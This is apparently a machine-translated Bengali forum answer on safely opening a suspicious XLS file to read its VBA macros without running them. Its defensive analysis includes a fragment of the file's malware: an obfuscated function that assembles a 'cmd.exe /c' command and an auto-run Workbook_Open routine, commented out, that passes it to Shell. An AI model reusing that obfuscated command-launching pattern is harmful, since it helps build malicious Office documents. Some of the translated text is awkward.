যদিও মকুবাই এবং এইচবিওয়াইপাইয়ের উত্তরগুলি দুর্দান্ত বলে মনে হচ্ছে এবং প্রকৃতপক্ষে আপনাকে ভিবিএ সম্পাদক দেখাতে দেয়, মনে হচ্ছে কমপক্ষে মাইক্রোসফ্ট অফিস পেশাদার প্লাস 2016 থেকে এক্সেলে এখনও আপনাকে কোডটি দেখতে দেয় না।
আমি সেই সংস্করণটির মালিক হয়েছি এবং আমি নিশ্চিত যে আমি একটি দূষিত এক্সএলএস পেয়েছি এবং এটি পরিদর্শন করতে চেয়েছি। এক্সেলে এটি খোলার পরে, এটি যথারীতি নিরাপদ মোডে উন্মুক্ত হয়েছিল এবং অবশ্যই আমার সেই মোডটি খারিজ করার কোনও উদ্দেশ্য ছিল না। অন্যান্য উত্তরদাতারা ইঙ্গিত হিসাবে আমি যখন ভিবিএ সম্পাদক খুলি তখন আমার সাথে ... খালি ভিবিএ সম্পাদক উপস্থিত ছিল । "প্রজেক্ট এক্সপ্লোরার" প্যানেল সাহায্যে "কোনও উন্মুক্ত প্রকল্প নয়" সত্ত্বেও আমি এখনও এক্সএলএস ফাইলটি বন্ধ না করে প্রদর্শন করে। কেবল পরীক্ষার খাতিরে, আমি দ্বিতীয় নথিটি (আমার একটি কাজ) খুললাম এবং এটি তাত্ক্ষণিকভাবে ভিবিএ সম্পাদকটিতে প্রদর্শিত হয়েছিল এবং (যথাযথভাবে) কোনও ভিবিএ থেকে সম্পূর্ণ বঞ্চিত ছিল। তবে ইন্টারনেট থেকে প্রাপ্ত দস্তাবেজটি ভিবিএ সম্পাদকের তালিকাভুক্ত ছিল না ।
আমি কেন এমনটি তা জানার চেষ্টা করে কিছুটা সময় নষ্ট করেছিলাম এবং কোনও কারণ খুঁজে পাইনি। দেখে মনে হচ্ছে যে ডকুমেন্টটি নিরাপদ মোডে লোড করা অবস্থায় আমার এক্সেল সংস্করণটি কেবল ভিবিএ সম্পাদককে ভিবিএ মডিউলগুলি প্রেরণ করে না। দুঃখজনকভাবে, ভিবিএ এডিটরটির কিছু "অফিস ডকুমেন্ট থেকে ওপেন ভিবিএ" বৈশিষ্ট্য নেই, তাই এটি স্পষ্ট যে এক্সেলটি এখানে মস্তিষ্ক এবং এটি এক্সএলএস প্রথমে আনপ্যাক / ডিকোড / যা করতে হবে।
সমাধানটি বেশ সহজ সরল।
Ribbon
-> Developer
-> ক্লিক করুনMacroSecurity
- বিকল্পভাবে,
File
-> Options
-> SecurityCenter
(সর্বশেষ বিকল্প গ্রুপ) -> Settings
-> Macros
)
- মনে রাখবেন (বা লিখুন) বর্তমান সেটিংস কি
- তাদের "বিজ্ঞপ্তি ছাড়াই সমস্ত ম্যাক্রো অবরোধ করুন" এ পরিবর্তন করুন
- নিশ্চিত করুন, বন্ধ করুন, দস্তাবেজটি পুনরায় খুলুন, ভিবিএ সম্পাদকটি আবার খুলুন
- আগুনের সাথে খেলা শেষ করার পরে আসল সেটিংস পুনরুদ্ধার করুন
প্রভাব:
- বিজ্ঞপ্তি প্রদর্শিত হয় নি
- দস্তাবেজ পুরোপুরি লোড করা হয়েছে
- কোনও ম্যাক্রো কার্যকর করা হয়নি
- ভিবিএ সম্পাদক মডিউলগুলি পেয়েছে এবং সমস্ত কোড উপস্থাপন করেছে
আপনি যদি কৌতূহলী হন তবে হ্যাঁ, এটি অবশ্যই ক্ষতিকারক, ক্ষুদ্র উদাহরণ:
Function marcopoloko()
marcopoloko = Left("CM to inches converter", 2) + Right("fed.ex", 4) + "e " + "/c" + numneroop + amagilocard
End Function
'Sub Workbook_Open()
'If xlTickMarkOutside > 0 Then
'Shell marcopoloko + """", xlXmlExportSuccess
'End If
'End Sub
BTW। যেমন আপনি দেখতে পাচ্ছেন আমি তাত্ক্ষণিকভাবে এন্ট্রি পয়েন্টটি মন্তব্য করেছি এবং নথিটি পুনরায় সংরক্ষণ করেছি, যদি আমি পরে ম্যাক্রোগুলিকে কিছু সময় চালানোর অনুমতি দেয়।
Alt
+ এরF11
ফলে! SECURITY WARNING ... Enable Content
ব্যানারটি অদৃশ্য হয়ে যেতে পারে , বোঝা যাচ্ছে যে কোড কার্যকর করা এখন সক্ষম হয়েছে। এটি বিভ্রান্তিকর। আপনি একটিon_open()
মডিউল সহ একটি নথি তৈরি করে এটি ডেমো করতে পারেন । আপনি ইভেন্টটি চালানো ছাড়াই কোডটিAlt
+F11
ইন করতে এবং পরিদর্শন করতে সক্ষম হবেন ।